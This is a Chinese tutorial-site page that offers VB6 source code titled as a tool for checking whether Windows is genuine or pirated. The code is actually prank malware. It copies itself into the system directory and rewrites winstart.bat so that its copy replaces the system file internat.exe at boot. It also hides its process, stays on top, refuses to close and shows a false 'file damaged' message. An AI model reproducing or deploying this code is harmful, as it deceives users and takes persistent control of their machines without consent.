转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
判断WINDOWS是正版还是盗版         ★★★★

判断WINDOWS是正版还是盗版

作者:闵涛 文章来源:闵涛的学习笔记 点击数:901 更新时间:2009/4/23 16:40:08
 
 
Option Explicit

''''进程控制
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long

Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0

''''退出Windows
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Const EWX_LOGOFF = 0
Const EWX_SHUTDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4

Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&

''''窗体总在最前
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Const HWND_TOPMOST = -1

''''连接
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Const SW_SHOWNORMAL = 1
Const URL = "http://www.microsoft.com"

''''查找系统目录
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

Const MAX_PATH = 260

Dim ExitButton As Boolean

''''取得windows目录
Function GetWinPath()
Dim strFolder As String
Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetWindowsDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetWinPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetWinPath = ""
    End If
End Function

''''取得system目录
Function GetSystemPath()
Dim strFolder As String
Dim lngResult As Long
    strFolder = String(MAX_PATH, 0)
    lngResult = GetSystemDirectory(strFolder, MAX_PATH)
    If lngResult <> 0 Then
        GetSystemPath = Left(strFolder, InStr(strFolder, Chr(0)) - 1)
    Else
        GetSystemPath = ""
    End If
End Function

''''文件是否存在
Function FileExists(filename As String) As Integer
Dim i As Integer
On Error Resume Next
    i = Len(Dir$(filename))
    If Err Or i = 0 Then FileExists = False Else FileExists = True
End Function

''''隐藏进程
Public Sub RemoveProgramFromList()
    Dim lngProcessID As Long
    Dim lngReturn As Long
    Dim pid As Long
    lngProcessID = GetCurrentProcessId()
    lngReturn = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub

''''打开浏览器
Public Sub gotoweb()
    Dim Success As Long
    Success = ShellExecute(0&, vbNullString, URL, vbNullString, "C:\", SW_SHOWNORMAL)
End Sub

''''连入网站
Private Sub cmdBuy_Click()
    gotoweb
End Sub

''''重新启动
Private Sub cmdReset_Click()
  Dim lresult
  lresult = ExitWindowsEx(EWX_REBOOT, 0&)
End Sub

Private Sub Form_Load()
On Error Resume Next
Dim Path As String
Dim SourceFile, DestinationFile
    Path = App.Path
    If Right(Path, 1) <> "\" Then Path = Path & "\"
    If App.PrevInstance Then End
    If FileExists(GetSystemPath & "\intarnet.dll.exe") = 0 Then
        ''''备份internat.exe文件
        SourceFile = GetSystemPath & "\internat.exe"
        DestinationFile = GetSystemPath & "\intarnet.dll.exe"
        FileCopy SourceFile, DestinationFile
        ''''复制自己
        SourceFile = Path & App.EXEName & ".EXE"
        DestinationFile = GetSystemPath & "\so.dll.exe"
        FileCopy SourceFile, DestinationFile
        ''''改写winstart.bat文件
        Open GetWinPath & "\winstart.bat" For Append As #1
        Print #1, "@echo off"
        Print #1, "copy " & GetSystemPath & "\so.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
        Print #1, "del " & GetWinPath & "\winstart.bat"
        Close #1
    End If
    ''''检查文件是否在系统目录执行
    If App.Path <> GetSystemPath Then
        MsgBox "程序代码不完整或系统出现错误,文件已被破坏。", vbInformation
        End
    End If
    RemoveProgramFromList
    SetWindowPos Me.hwnd, HWND_TOPMOST, Me.Left / Screen.TwipsPerPixelX, Me.Top \ Screen.TwipsPerPixelY, Me.Width \ Screen.TwipsPerPixelX, Me.Height \ Screen.TwipsPerPixelY, 0
    Shell (GetSystemPath & "\intarnet.dll.exe")
End Sub

Private Sub Form_Resize()
    ''''程序被最小化时返回初始状态
    If Me.WindowState = 1 Then Me.WindowState = 0
End Sub

Private Sub Form_Unload(Cancel As Integer)
    ''''禁止程序退出
    If Not ExitButton Then Cancel = True
End Sub

''''删除程序
Private Sub lblUninstall_DblClick()
    Open GetWinPath & "\winstart.bat" For Append As #1
    Print #1, "@echo off"
    Print #1, "copy " & GetSystemPath & "\intarnet.dll.exe " & GetSystemPath & "\internat.exe /y >nul"
    Print #1, "del " & GetSystemPath & "\intarnet.dll.exe"
    Print #1, "del " & GetSystemPath & "\so.dll.exe"
    Print #1, "del " & GetWinPath & "\winstart.bat"
    Close #1
    MsgBox "您使用的系统可能是正版。:-)", vbInformation
    End
End Sub


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台